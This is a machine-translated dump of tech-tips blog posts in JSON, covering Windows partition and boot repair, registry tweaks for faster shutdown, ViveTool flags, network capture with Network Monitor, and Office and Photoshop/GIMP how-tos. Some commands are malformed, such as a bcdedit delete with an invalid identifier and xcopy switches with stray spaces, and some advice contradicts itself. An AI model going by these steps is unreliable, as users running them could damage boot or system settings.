press Enter .\n11. Now, enter 'list volume' to list the partition or drive. It will display the partition you have just created.\n12. Now, we will copy the contents of the Windows boot CD drive into drive C.\n13. Type Exit and then press Enter .\n14. Go to the CD drive by typing 'cd e:' and pressing Enter .\n15. Now, type 'xcopy e: c: / e / h / k' , then press Enter . It starts copying the installation files from the CD drive to the C drive. It will take some time to copy.\n16. Once done, type 'exit' and press Enter . Now close all open windows and then restart the computer once. After rebooting, the machine will begin to install Windows.\n17. Now, you have the option to create a partition for the allocated space.\nOnce Windows has been installed, you need to edit the boot loader. To remove this black screen from the boot process, follow the steps below.\n1. To do that run the Command Prompt with admin rights.\n2. Type bcdedit and then press Enter .\n3. Locate the content 'Description' and 'Identifier'.\n4. Type 'bcdedit / delete (74253dcc9-effasdrc50-3582tvple-5263tlpt-5223thpf)' , then press Enter .\n5. Restart the computer. This time, you will not get a black screen anymore.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjKycra2gYsSiv4yupZqanJp6tbuMnKmemaSaeqJ5zZ6uZqupqMGmuYypmKusmam2sLqMqKlmpJ%2BYrrWxjJqlZp2onsC1tc2gZKyxo6myrnnPmqmtoaSevK8%3D\n","link":"/post/fix-setup-was-unable-to-create-a-new-system-partition-or-locate-an-existing-system-partition/","section":"post","tags":null,"title":"Fix 'Setup was unable to create a new system partition or locate an existing system partition'"},{"body":"Converting Excel files to PDF is very simple, this article will show you 3 fastest ways to convert from Excel to PDF without losing formatting.\n  1. How to convert Excel to PDF with Microsoft Excel software The simplest way to convert Excel files to PDF is to use the available Excel software on your computer and this way is highly appreciated in terms of efficiency. The converted data is preserved in the same format and has all the details as the original version.\nStep 1: Open the Excel file you need to convert to PDF with Microsoft Excel software.\nStep 2: At the main interface of the software, proceed to select the File item to open the file settings.\n  Step 3: When the File file interface appears, proceed to select Save As and select the folder to store.\n  Step 4: When the Save As window appears, proceed to select the storage folder and set the Save as types item to: PDF (*.PDF). Finally, click Save to finish converting the Excel file to PDF.\n  So your Excel file has been converted to PDF and you need specialized software to open PDF files to view the content.\n  2. How to Convert Excel to PDF Using Adobe Acrobat Adobe Acrobat is a specialized software for processing and editing PDF files, and they have a wide range of integrations to convert files to PDF format. When you install Adobe Acrobat software, your Excel software will appear Save as Adobe PDF and you just need to click and you're done.\nStep 1: You proceed to visit the homepage and download the software to your computer to improve the installation.\nStep 2: At the main interface of Excel software, select the File item to open the file option.\n  Step 3: When the file interface appears, select the Save as Adobe PDF item to save the file as a PDF.\n  Step 4: When the Acrobat PDFMaker window appears, you need to set the following information:\nConversion Range: Range switch\nEntire Workbook: Complete Selection: Selected area Sheet(s): Selected page Conversion Options: Set up conversions\nActual Size: Keep the same size Fit to paper width: Adjust the sheet to fit the paper width Fit Worksheet to a single page: Fit sheet to fit one page After completing the setup, click Convert to PDF to proceed with the conversion.\n  Step 5: Finally, you need to choose the folder to store the PDF file after conversion, so you have finished converting the Excel file to PDF.\n  3. How to convert Excel to PDF with PDF Small PDF Small is an online PDF service that is trusted by many users, in addition to its advanced features in editing PDF files, the PDF Small service supports users to convert Excel files to PDF quickly. fast.\nStep 1: You proceed to visit the homepage of PDF Small to use the service.\nStep 2: Next, select Select files to add Excel files to convert to PDF.\n  Step 3: The process of converting Excel file to PDF will take between 2 and 5 minutes (depending on the size of the PDF file).\n  Step 4: After the conversion is complete, you just need to click Download file to finish.\n  Some other platforms to convert Excel files to PDF:\nIlovePDF PDFcandy PDF2Go In this article, Software Tips showed you how to convert Excel files to PDF quickly and efficiently. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmnLGblaF6tbuMqZufZZuasrG1zaBkraCVYrOwvsyaq62hnpw%3D\n","link":"/post/how-to-convert-excel-to-pdf-keeping-the-formatting/","section":"post","tags":null,"title":"How to convert Excel to PDF keeping the formatting"},{"body":"You want to make yourself or something stand out in an image by clearing the background or blurring the background but don't know how to do it when using Photoshop. In this article, TipsMake.com will help you perform the removal of photo background in Photoshop software quickly and effectively.\n  Method 1. Blur the background For those of you who want to make yourself stand out from the surroundings by blurring them. We are going to work with Photoshop through the Polygonal Lasso Tool\nStep 1 : Open the Photoshop software and open the image you want to delete the font by selecting File → Open or Ctrl + O\n  Step 2 : On the left toolbar of Photoshop software, select the Polygonal Lasso Tool\n  Step 3 : Then you make the area of ​​the object you want to highlight by drawing lines around the object. You should draw as close to the object, the later the picture will be beautiful.\nThe keyboard shortcuts you can use in this step are:\n- Atl + mouse scroll : To zoom in or out of images to help you localize more easily\n- Hold Space (spacebar): To make moving photos\n- Shift + left mouse button : To be able to localize 2 non-adjacent objects on the image.\n  After finishing\n  Tip : In the latest version of Photoshop 2019, the software has additional functions that can help users to personalize. By selecting the Select tool→ select Subject .\n  Of course, self-made machines can sometimes cause many images to be zoned exactly as we have them. But for photos with a clean layout, the image color is not too colorful, the Subject is also very effective.\nStep 4 : Now you press Ctrl + Shift + I or Shift + F7 to reverse the area. In other words, it is a delineated background.\n  Step 5 :\n(1) Select Filter on the toolbar.\n(2) Select Blur.\n(3) Select Gaussian Blur.\n  Step 6 : Here the Gaussian Blur appears, you can customize the level of background blur. Thehigher the Radius , the more blurred the background and the more prominent the subject. Then choose OK to finish the job.\n  And this is the result:\n  Method 2: Clear the background Step 1 : Similarly, you proceed to localize the object manually or use the Subject tool of the software for Photoshop 2019.\n  Step 2 : Next in the tool panel on the right of the software, select Add a mask .\n  And the result is that the background has completely disappeared.\n  Finally you save the image in PNG format for the best image quality. I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYypn6isn2Kvoq%2FKnamoqKNitq95z6Gmraejnbyx\n","link":"/post/how-to-delete-photo-backdrops-in-photoshop/","section":"post","tags":null,"title":"How to delete photo backdrops in Photoshop"},{"body":"In the previous section we talked about how to insert images into Word 2016 , as well as how to customize the position of the image so that it appears where you want it in your document. In this section, we will continue to learn about images in Word, specifically editing images after inserting in Word 2016 .\nThere are many ways to format, edit photos in Word . For example, you can change the size or shape of the image to make it more suitable for the document you are working on. You can also make your photos look better thanks to the image enhancement tools that Microsoft has equipped for Word 2016. Follow our Word column to constantly update your best Word tips. .\nHow to cut photos in Word 2016 simply\nWhen cutting photos, part of the image will be removed. Cropping an image is useful when you have to process the image too loudly and only want to use / retrieve part of the image.\nTo cut the inserted image in Word 2016, follow these steps:\nStep 1: Select the image you want to cut, the Format tab will appear\nStep 2: On the Format tab select Crop\n  Step 3: The cropping frame appears, click on the black button on the edge and drag to the desired position to crop the image. Because the position of the photo button is very close to the image resizing button, be careful not to press the wrong button. The black button in the corner will be handy when you need to crop the image horizontally or vertically.\n  Step 4: To confirm, click Crop again, the image will be cut\n  Cut pictures in Word 2016 into another shape\nWith Word 2016, you can not only crop images but also cut them into different shapes. This cropping feature is suitable if you want to make cards, make cards or cards with simple decorations.\nTo cut photos in Word 2016 with special shapes, follow these steps:\nStep 1: Select the image you want to cut, click the Format tab\nStep 2: Click the arrow pointing down at Crop, hover over Crop to Shape and select the shape you want to use to crop the image in the drop-down menu.\n  Step 3: The image will be cut to the shape you selected\n  Add an image border to the inserted image in Word 2016\nTo highlight the image you can add borders and change the border color to match the image. This can be done right away in Word 2016.\nSteps to add image borders in Word 2016 are as follows:\nStep 1: Select the image to add borders, click the Format tab\nStep 2: Select Picture Border, a menu will appear\nStep 3: Here, you choose colors (Color), thickness (Weight), and border type (Dashes)\n  When finished, the border will appear in the image as you selected.\nAdjust images in Word 2016\nWith image editing tools in Word, you can easily fine-tune image properties such as color, contrast, saturation, and color tones. Word also provides image styles that allow you to add frames, drop shadows and other available effects.\nWhen you're ready to adjust the image in Word 2016, just select it, click the Format tab and use the options highlighted in the picture below:\n  Corrections: Here, you can sharpen or soften the image by adjusting the focus or blurring it. You can also adjust the brightness and contrast so that the image appears as you want.   Color: Use this tool to adjust saturation (color brightness), color tone (image color temperature, from cold to hot) and add color (the overall color of the image).   Artistic Effect: Select the effect available to apply to the image. The effects are quite strong, so you need to consider when using, so that it is suitable for the document and not \"overshadowed\".   Picture Styles: This group of tools contains a lot of pre-installed image styles, making it easier to format images. Picture Styles are designed to add frames to images without changing the basic settings or effects.   Compress images in Word 2016\nWord 2016 also provides a tool for you to compress images, which helps reduce the image size in particular and the overall file size.\nTo compress images in Word 2016, do the following:\nStep 1: Select the image to compress, click the Format tab\nStep 2: Select Compress Pictures\nStep 3: Select Delete cropped areas of pictures. You can choose to apply this setting to all images in the document or just for the selected image\nStep 4: Select Target output. If you plan to send this document via email, select Email to reduce the file size\nStep 5: Select OK\n  Above is a very detailed photo editing guide in Word 2016, hoping the article can help you create Word documents with a more professional image.\nWord 2016 (Part 16): Insert images and customize the location of photosncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFutcyanp6rXZ67bsPOq5tmamBmgw%3D%3D\n","link":"/post/how-to-edit-images-in-word-2016/","section":"post","tags":null,"title":"How to edit images in Word 2016"},{"body":"  Open the image you want to remap in Photoshop. With Photoshop open, click File in the top menu bar, click Open. and select the image.\n  Click Layer in the menu bar.\n  Click Duplicate Layer… (Duplicate layer…) and then click OK .\nYou can give the new layer a different name, otherwise the layer will be named \"[Original Layer Name] copy.\"\n  Click on the duplicated layer in the \"Layers\" window in the lower right part of the screen.\n  Click the \"Opacity:\" field in the upper right of the Layers window.\n  Set transparency to 50%.\n  Click the padlock icon at the top of the Layers window to lock the layer.\n  Click Layer in the menu bar.\n  Click New and then click Layer… .\n  Name the new layer \"Tracing\" and then click OK .\n  Click on the layer labeled \"Background\" in the Layers window.\n  Press Ctrl+← Backspace (PC) or ⌘+Delete (Mac). The layer will be filled with a white background.\nYou should now have three layers in the layout window: The \"Tracing\" layer at the top; locked layer with your photo in the middle and a white layer at the bottom. If the layers are not in this order, drag the mouse to arrange them in the same order as above.\nTake pictures   Click the \"Tracing\" layer at the top of the window.\n  Click View in the menu bar.\n  Click 200% to enlarge the photo. Click Zoom In or Zoom Out in the View drop-down menu and set the image to the appropriate size for easy focus.\n  Choose a color for the stroke. Click the overlapping square button in the color menu at the top right of the screen, then click a color in the spectrum below the squares. Click on the remaining square and then click on the same color.\nWhite and black are on the right side of the spectrum.\n  Select the tool in the tools menu on the left side of the window.\nPencil Tool: create ink strokes of the same thickness and size from beginning to end. This tool is suitable for small strokes at the end. The Pencil Tool has a pencil shape and is located near the top of the second item of the tools menu. If you see a brush icon instead of a pencil, long click on the brush image, then click the Pencil Tool.\nBrush Tool: make strokes lighter and narrower at the end, darker in the middle. This tool is suitable if you want to go with soft brush strokes. The Brush Tool has a brush icon and is located near the top of the second section of the tools menu. If you see a pencil icon instead of a brush, long click on the pencil icon and then click the Brush Tool.\nPen Tool: creates editable paths with anchor points that you can move or adjust. The Pen Tool is suitable for tracing objects that you want to change or refine a lot after creating strokes. Click the fountain pen icon below the T in the tools menu to select the Pen Tool.\n  Adjust the settings of the Pencil and Brush Tool in the upper left part of the window.\nClick the drop-down box next to the tool icon to adjust the strength and gradient (increase/decrease or hardness) of the stroke. The higher the gradient, the more like drawing with a real pencil or brush.\nClick the folder icon to the right of the size menu to adjust the shape and character of the brush or pencil.\n  Adjust the Pen Tool settings in the upper left part of the window.\nIf you want to use the Pen Tool to create paths when you stroke, click the drop-down box to the right of the icon and click Path.\n  Start to focus. Use the mouse or trackpad to move the tool over the line you want to trace.\nTo use the Pencil and Brush tools, hold down the mouse and drag the tool over the stroke. Release the mouse to move the tool and start a new stroke.\nTo use the Pen Tool, you click and release the mouse along the stroke of the image you want to trace, a line will appear between the beginning and the end points. With highly detailed curves or strokes, you'll need to click more.\n  Hide the original image. To see your results, click the eye icon next to the middle layer (the layer containing the original image). The original image will disappear, the image you have mapped will appear on a white background.\nOnce done, click View in the menu bar, then click 100% to see the image in actual size.\n  Save photo. Click File in the menu bar and select Save As…. Then give the file a name and click Save.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2Bxsc1mmKdlmaKuqLGMoqVmqJikwbC%2Fx6in\n","link":"/post/how-to-sharpen-an-image-in-photoshop/","section":"post","tags":null,"title":"How to Sharpen an Image in Photoshop"},{"body":"In this article, I will show you how to check Network Network 3.4 and its usefulness in troubleshooting and analyzing network traffic.\nAnalysis of network traffic today becomes an extremely important issue because network protocol stacks have come up with routable and NAT-capable web protocols. Network Monitor is a protocol analyzer and a capture tool for data frames that helps users to detect and test these complex types of protocols, which is really an important tool in administrators' toolboxes. network members and staff.\nIf you're interested in transferring sensitive data or packaged loads, you'll know more about your network. Tools like IPS, IDS and firewalls are also effective, but they do not describe the details of the packets at the level you need to know. There are many free or paid data discovery tools, but this article will focus on a free tool, Network Monitor 3.4.\nWhat is protocol analyzer? (Protocol Analyzer)\nThis is an application or piece of hardware capable of capturing network traffic and analyzing data passing through it, giving the output an easy-to-read format for people.\nAbout this tool\nHardware specifications: Network Monitor 3.4 requires a minimum of 1GHz processor, 1GB of RAM, 60MB of hard drive for capture.\nThe program can be installed on x86 and 64bit platforms, including Itainum chipsets running Windows XP and higher.\nOnce you have downloaded and installed the application from the Microsoft website, it is possible to perform the capture.\nYou can choose which interfaces you want to listen to traffic on. Experience has shown that we should start at a minimum to ensure that we will not be overwhelmed by too much traffic. You can then change this setting and add other interfaces if needed.\nOne of the most interesting features of the product is the ability to check traffic and combine it with the running process, from which administrators can quickly distinguish which applications are exchanging with machines and models. Traffic is sent without having to crawl through tons of confusing traffic.\n Figure 1: The picture above shows a skype chat You can filter the traffic of a certain conversation at a time. This can be seen in the image above via the Conversation ID (ConvID) 468. When you expand the frames in the conversation, you can test it again.\nUsers can also color-code traffic for filters, set one-color source traffic, and respond to traffic in another color to distinguish who said what.\nIn addition, users have the ability to set NM3.4 to capture traffic in a VPN tunnel. This is very useful when troubleshooting VPNs.\nAnother interesting thing about this tool is that the data is completely live, like what you see in the interface. This data can be saved in a file and can be sent to someone if you need to share the output of the analysis process. You can also select a range of frames. The range of selected frames can be saved and sent to another third party by analysis instead of sending all captured data.\nData can also be copied directly into Excel for analysis and charting purposes, and can be applied similarly to words and tables can be quickly created for detailed cases. This allows easy data management and easy presentation.\nCreate a color filter\nCreating filters completely simple. A color filter is a combination of a certain process and a color. For example, you want to see all IE traffic in the real-time view is green and Firefox traffic is red. All you need here is to expand the process in the conversation window on the left and select the traffic in the right summary pane, right-click the frame (on the process column), click Add 'process name 'as color rule , set color and all traffic will appear green for IE process.\n Figure 2: Remember to click the process name column (Process Name)   Figure 3: Choose color to combine with IE process, then click OK and OK\n  Figure 4: In the real-time traffic view, you will see the traffic flow is green\nThis allows users to easily distinguish traffic when data packets come in and out at high speed.\nCommand line utility\nPath C: Program FilesMicrosoft Network Monitor 3\u0026gt;\nThis tool can be used in the command line utility and called NMcap.exe, it is installed in the operating system path. This mode can capture with high performance and is very useful when scripting tools and commands.\nSimple commands like nmcap * / capture / file test_capture.cap can capture all traffic from all interfaces and save captured data to a file named test_capture.cap. Filters can also be applied to this command so that only we capture the relevant traffic.\nThe command line utility is used in many cases, for example, you can apply this at a customer site and get output for remote analysis purposes. Any filter used in the user interface can be used with the command line utility, you just need to remember to add quotation marks.\nWhen using this tool, it is best to set the capture size, first keep it manageable to ensure the capture data does not fill the hard drive.\nOne of the most useful parameters is terminationwhencommand, which allows the administrator to script to interrupt the capture process after a certain time or when a keystroke event occurs.\nTo enter a list of parameters, simply type Nmcap.exe / help\nParsing\nParsing is provided for all Windows protocols and for the most common protocols. There are many syntaxes available and you can quickly create your own syntax. These files have the .npl extension and can be compiled with the original tool.\nncG1vNJzZmismaXArq3KnmWcp51ku6bA1qippGWkmsC1tc2gZLChpJ16r7HTsKaro12ivK%2B106ipZmtkYr2ivtNmaA%3D%3D\n","link":"/post/network-testing-with-network-monitor-3-4/","section":"post","tags":null,"title":"Network testing with Network Monitor 3.4"},{"body":"This information was discovered by the Twitter account FireCube, a developer who often gives accurate information about new upcoming Windows features.\nIn its current state, the new Task Manager is not a complete overhaul of the existing interface. Tabs that were previously placed at the top of the Task Manager window are now moved to the side. The framework of the program is applied a new matte Mica material design.\nButtons for common actions like creating new task, ending task. will be more prominent. The new Task Manager will also have a dark background to match the overall design of Windows 11.\nHowever, when looking at the lists themselves, the list of processes, services. you will see that it is exactly the same as the current version of Task Manager.\nYou can see the new design of Task Manager in the photos below:\n        To activate the new Task Manager, you first need to join the Dev Channel of Windows 11. Next, you need to update to the latest version, build 22538. In addition, you also need an additional tool that can name ViveTool.\nLink to download ViveTool from GitHub ViveTool allows you to enable hidden Windows features. However, this can seriously affect the stability of the system, so think carefully before doing it.\nAfter downloading ViveTool you need to extract its .zip file. You need to run it using Command Prompt (not Windows PowerShell). Run Command Prompt in the folder where you store ViveTool then enter the following commands one by one:\nvivetool addconfig 35908098 2 vivetool addconfig 37204171 2 vivetool addconfig 36898195 2 vivetool addconfig 36898195 2 Once done, you should see the new Task Manager on your Windows 11 computer.\nIt is not known when Microsoft will officially launch Task Manager with a new design for test users as well as official.\ntask manager windows 11 ncG1vNJzZmismaXArq3KnmWcp51kvbOxz5qpoqaXYrOwvoyaZKedp2LBor%2FKZqSappGcsrN5zqdksKGemby4v4xqaA%3D%3D\n","link":"/post/preparing-for-a-new-task-manager-on-windows-11/","section":"post","tags":null,"title":"Preparing for a new Task Manager on Windows 11"},{"body":"Computers running Windows should be turned off quickly unless there is a problem that causes a delay. Here's how to shorten the process of shutting down your computer.\nWays to turn off Windows 10 computer Automatic computer shutdown timer for Windows 10, Windows 8, Windows 7, Windows XP Make sure Windows does not delete the page file during shutdown\nWindows uses additional page file as virtual memory. It has a hidden option - off by default - to delete page file when shutdown. This removes everything in the page file, ensuring that no sensitive data is stored where someone can access it by deleting the computer's hard drive and checking the page file.\nWhat is Pagefile.sys and should it be disabled? Your computer may take a few minutes to turn off while Windows deletes the page file, if this option is enabled. The off time depends on the page file size and the hard drive's speed. However, you do not need this option if your hard drive is encrypted. Encryption will prevent attackers from checking your page file while shutting down your computer.\nIf your computer is managed by the IT department, they can enable this option. In that case, you can't do much except narrow the size of the page file.\nWarning: Registry Editor is a powerful tool and if abused it can make your system unstable or even inactive. This is a pretty simple hack trick and follow the instructions carefully, you won't encounter any problems.\nYou can check if your computer deletes the page file when turned off by checking the Windows Registry. Press the Windows + R key, type \" regedit \" into the Run dialog box and press Enter to open it.\nNavigate to the following key in the Registry Editor window:\nHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management\nLook in the right pane for the \" ClearPageFileAtShutdown\" setting . If the data is set to \"0x00000000 (0)\" , Windows does not delete the page file when the computer is turned off. If it is set to \"0x00000001 (1)\" , Windows will delete the page file when it is turned off.\nIn case you do not see any \"ClearPageFileAtShutdown\" settings here, it also means that Windows does not delete the page file when the computer is turned off.\n  If it is set to \" 1 \", you can prevent Windows from deleting the page file when you turn it off by double-clicking on the \"ClearPageFileAtShudown\" setting and setting it to \" 0 \". The shutdown process will become much faster.\n  Determine which service slows down the shutdown process\nInstead of guessing which service is running in the background that slows down the shutdown process, you can check that service correctly.\nTo do this, you need to use Event Viewer. Right-click the Start button on Windows 10 or 8 and select \"Event Viewer\" or press the Windows + R key , enter \" eventvwr \" into the Run dialog box and press Enter .\n  Navigate to the following path in Event Viewer:\nApplications And Services LogsMicrosoftWindowsDiagnostics-PerformanceOperational\nRight-click ' Operational ' and select 'Filter Current Log' .\n  Enter \" 203 \" in the ' Event IDs' field and click \" OK \". This will filter the log to show only the shutdown event.\n  Looking through the list, now you just need to pay attention to the events \"This service causes a delay in the system shutdown process.\" You will see the name of the service that slows the shutdown process in the General box. File Name \" and \" Friendly Name \".\n  The information you see here will only tell you any service that slows down the shutdown process. For example, VPN software can take a long time to shut down and cause a delay. If you have installed the software but do not normally use it, remove it. Search the web for the name of any software you see here to see what it is and whether you can uninstall it. Some services here are system software you are not allowed to touch.\nCheck the WaitToKillServiceTimeout value\nWindows does not turn off immediately when you click \"Shut Down\" . Instead, it sends a \"System is off\" signal to an open application and background services. Windows waits for a while to allow these services to end and save its data before closing and shutting down the computer.\nBy default, Windows will wait five seconds after you click \"Shut Down\" before it closes any background service and shuts down the computer. However, if all of the background services were successfully closed before the five-second time has expired, the computer will shut down immediately.\nThere are several different values ​​for managing computer timeout. But there is a special value you can check the timeout to turn off the machine that is the value \"WaitToKillServiceTimeout\" . Some applications increase value by more than 5 seconds when you install them, as they may need more time to clean everything off. If this value has been changed, your computer will take longer to turn off than usual.\nOpen the Registry Editor window by pressing Windows + R , type \" regedit \", and press Enter . Navigate to the following key:\nHKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl\nLook in the right pane \"WaitToKillServiceTimeout\" and read the value in the Data column. This value is displayed in milliseconds. For example, if WaitToKillServiceTimeout is set to 5000, Windows will wait 5 seconds. If the value is set to 20000, Windows will wait 20 seconds.\n  You should set this value to below 5000 but not too little because some services may not be turned off properly if you don't give it enough time.\nHowever, if an application has increased its value to a larger number, you can reset it to \" 5000 \". Just double click on \"WaitToKillServiceTimeout\" and enter the value of \" 5000 \".\nYou can't do anything to shut down the computer faster, but hopefully with these tips, you can ensure that it shuts down as quickly as possible.\nncG1vNJzZmismaXArq3KnmWcp51kwKm70a2cp2WknbJuvNGomp6ro2K8p3nTrqmnoZ6cerCyxWaroZ1dmLyuvNStnKs%3D\n","link":"/post/shorten-the-process-of-turning-off-the-computer/","section":"post","tags":null,"title":"Shorten the process of turning off the computer"},{"body":"Windows 11 Insider Preview has a new interface, new Microsoft Store, new Settings application. However, it comes with some small bugs and new operations that require users to get used to.\nIf you are not satisfied with Windows 11 or have some annoying problems, you can go back to Windows 10 without any data loss. Here's how to do it:\nStep 1 : On Windows 11 open Settings and navigate to Windows Update \u0026gt; Advanced options \u0026gt; Recovery\n  \n  \nStep 2 : Click Go back in the Recovery options section to start going back to Windows 10\n  Step 3 : Microsoft will ask you why you want to go back. You can choose the available reasons or write your own for microsoft\n  Step 4 : Microsoft will suggest you to check for updates and install to see if it solves your problem. Please click No thanks to continue the process of returning to Windows 10\n  Step 5 : Next, Microsoft will remind you that you need to reinstall the programs that you installed on Windows 11. Microsoft also requires you to back up to avoid risks. Once done, click Next\n  \nStep 6 : Microsoft prompts you to remember your password because you must enter it after the rollback is complete. You should remember both the Microsoft account password and the password of the local account on the machine. Click Next to continue\n  Step 7 : Click Go back to an earlier build to start going back to Windows 10. This process will restart your computer several times. If using a laptop, you should plug it in to make sure it doesn't crash during installation causing errors\n  Once the process is complete, you will be greeted by the familiar Windows 10 login screen. Enter your password or PIN to sign in to Windows 10. All your personal data is preserved.\nGood luck!\nwindows 11 ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddp7ytuIybmJyjXam8bsPIp5uor6NifnF5xaumpmWnnrulu9asZGppXZ67tLXDnqlmqKKaw6qx1g%3D%3D\n","link":"/post/steps-to-roll-back-to-windows-10-from-windows-11-insider-preview/","section":"post","tags":null,"title":"Steps to roll back to Windows 10 from Windows 11 Insider Preview"},{"body":"If you're a photographer or want to experience something new, you might know the term Panorama or take photos in 360-degree mode. However, do you know that the above two concepts are really the same when they are all understood as panoramic photography? In the article below, the Network Administrator will give you a reading of what you need to know about Panorama concepts and capture 360-degree panoramas.\n1. What is Panorama technique? Simple to understand in English, Panorama means that the image or scene is wide, panoramic or can also be interpreted as a panoramic shot.\nPanorama technology is the concept of viewing only images with wide angle compared to normal images. The scene at that time will be much wider than the photos taken in normal mode. Thus, a photo frame taken by the camera will not be able to help the photographer get the right picture with Panorama photography technique, covering every scene in a normal frame size.\nWe can see a lot of Panorama shooting techniques in the field of advertising, especially large advertising panels using panoramic photography techniques.\n  2. What is a 360-degree photo shot? 360-degree photos can be called Virtual Reality (VR) virtual reality panoramas. These images will be taken from a series of different points, which will then be merged on a fixed axis called nodal point. And to get a complete 360-degree photo, we will use 360-degree photo-creation software and websites.\n  Compared to Panorama, taking photos in 360 degree mode is much more advanced, when we will only be able to view Panorama images in static form, and the file size is relatively large.\nUsers will use specialized software such as Quicktime VR, Java VR or Flash to combine images and embed files. Soon, the image will be linked and rotated according to the software used to be able to view the panorama. To view panoramic images at all angles, we just need to zoom in, zoom out, move in every location on the image to get an overview of the image at any angle, or see a closer picture to see clearly. details.\n  These are some of the basic concepts of two Panorama terms and take photos in 360 degree mode. In order to produce the best quality 360-degree picture, you should use specialized devices that support 360-degree panoramic shooting, recording or video.\nRefer to the following articles: How to capture and post Panorama 360-degree photos on Facebook Guide to watching videos and 360-degree images on VLC Player How to post photos to Facebook computer 360-degree Panorama mode Hope the above article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2gn56Vp7Kvr8RmmZ6sp5qyr3nPmqWoqpGirm6tzZ1kbG5gmbKovsSeZKmgn6m8tA%3D%3D\n","link":"/post/the-difference-between-panorama-and-360-degree-photos/","section":"post","tags":null,"title":"The difference between Panorama and 360-degree photos"},{"body":"In addition to using a mouse to manipulate on the computer, with laptops we also have TouchPad, touchpad mouse to use instead of physical mice, in case the computer mouse is damaged and has problems. With TouchPad, it is impossible not to mention the Multi TouchPad feature, one of the features that supports users effectively when using TouchPad and indispensable in every laptop line. So what is Multi TouchPad and how to use Multi TouchPad on laptop?\nHow to fix wireless mouse not working How to fix left mouse click problem on Windows Instructions to fix computer mouse errors double click How to fix mouse error light up but not working How to use Multi TouchPad on Windows 10 Multi TouchPad is a multi-touch touchpad, which supports multitouch when we use TouchPad for laptops today, especially on Windows 10 laptops with many finger gestures at the same time to make something.\nWith the support of Multi TouchPad we can perform many different operations, such as scrolling up and down, resizing windows, or scrolling up and down by fixing using 2 fingers on TouchPad. Some basic operations you perform refer to the article Summary of Touchpad operations on Windows 10.\n  Some new features when using Multi TouchPad\n3-finger swipe left or right on the TouchPad will display the Task View interface to quickly switch between open windows on the computer.\n  Use 4 fingers to place on TouchPad and quickly move right or left to quickly switch between virtual desktops. If you want to select an item, then touch TouchPad and then touch with a finger.\nTo open the right mouse button (click and open) , touch 1 touch on the TouchPad to select, or 2 consecutive touches to open the folder, application, . If you want to open the left mouse button (Options), then touch simultaneously 2 times 2 finger up TouchPad.\nTo open Cortana , press 3 fingers on the TouchPad at the same time.\nIf you want to open the notification center on Windows 10, then touch all 4 fingers on TouchPad.\n  In general, when you are new to Touchpad, you will not be familiar with it because the operations are performed quickly, so users are easily confused and do not use the desired operation. So when performing, you need to pay attention to what you want to do as well as the operation of pressing on TouchPad.\nHope this article was helpful to you!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWdqrm1tYytpq6bmKWupXnOp2SlmaCpvLE%3D\n","link":"/post/what-is-multi-touchpad-on-laptop/","section":"post","tags":null,"title":"What is Multi TouchPad on laptop?"},{"body":"Notably, there will be a feature that allows you to perform individual keystrokes with your voice commands, instead of using your hands as usual. Specifically, you can speak each letter, number and even punctuation marks and characters present on the keyboard and type them into the touch keyboard. This will be an extremely useful feature in case you need to spell out someone's name, address, or a specific word by reading (spelling) each letter aloud.\n  In addition, according to Microsoft, users will not only be able to use the new feature to type characters and letters, but also enter emojis by voice. This is clearly a useful device because emoticons are one of the indispensable components in today's online conversations and interactions.\nIt should be noted that this feature is only available to Windows Insider testers on the Dev Channel, and it is not clear when Microsoft will roll it out to the general user community. In addition, the currently supported language will most likely only be English (UK - US). Therefore, users need to configure the display language of the system to English - US for the feature to work correctly.\nIn the meantime, if you're a Dev Channel member, you can download Insider Preview Build 22538 right now and experience it for yourself.\nLearn more about the changes and additions in this build HERE.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGVhZnqqv4yamaitpGLBsHnSrqepp6Kpere7yJycZqyppbavsw%3D%3D\n","link":"/post/windows-11-is-about-to-support-voice-typing/","section":"post","tags":null,"title":"Windows 11 is about to support voice typing"},{"body":"GIMP is a powerful image editing tool. It provides various ways to remove the background of an image. But where are the appropriate methods to use, and how do they work? Today's article will introduce you to six ways to refine the background of an image, such as making the background transparent, clearing the background (to coordinate with other images), and many other options. half. Please make sure you have updated to GIMP 2.10 before starting.\n6 ways to refine the background in GIMP 1. Create transparent background in GIMP 2. Change the background with the Foreground Select Tool 3. Add other tools to delete the background in GIMP Fuzzy Select Scissors Select Pen Tool  4. Delete the white background in GIMP 5. Change the background color in GIMP 6. Delete background in GIMP with Masks 1. Create transparent background in GIMP   When you open an image in GIMP, it does not support transparency by default. If you want to make the background transparent, there are two simple tips to do this.\n1. Right-click the layer in the Layers section and select Add Alpha Channel or go to Layer\u0026gt; Transparency\u0026gt; Add Alpha Channel .\n2. Copy the background layer by pressing Shift + Ctrl + D on Windows or Linux or Shift + Cmd + D on the Mac. Now delete the original background layer.\nIn both cases, you can select the area you want, then press the Delete button to make the area transparent.\nThe above are the two simplest ways to make the image background transparent in GIMP. For other cases, readers can apply one of the other ways below.\nYou can also make the whole image transparent with GIMP. Refer to the article: How to make an image transparent with GIMP to know how to do it.\n2. Change the background with the Foreground Select Tool When images have a clear separation between foreground and background, GIMP has a great tool that allows you to choose one of these. It's called the Foreground Select Tool and you can use it to delete the background in GIMP, then replace it with a new background.\nWith the Foreground Select Tool, you just need to highlight the area containing the foreground and GIMP objects that will help you do the rest.\nOpen the image, right-click on the layer and select Add Alpha Channel .\n  Select the Foreground Select Tool . Draw a rough outline around the foreground object. You can use a solid line or a dashed line. Note that it is not necessary to draw the outline too close to the object, but the closer it is, the better. Press Enter when done.\n  Currently, GIMP will default to the brush tool in the next step. Set the brush size to match the image, then paint over the foreground object with a single stroke. No need to fill all objects, just make sure the fill contains all the different colors and tones. Then press Enter again.\nAfter a few seconds, GIMP will analyze the image and create a selection containing only the background. Fine-tune the selection by choosing Free Select Tool . Set Mode to Current Selection or Subtract from the Current Selection, then circle the areas you need to add or delete.\n  Press Ctrl + I or Cmd + I to select the foreground part. Press the 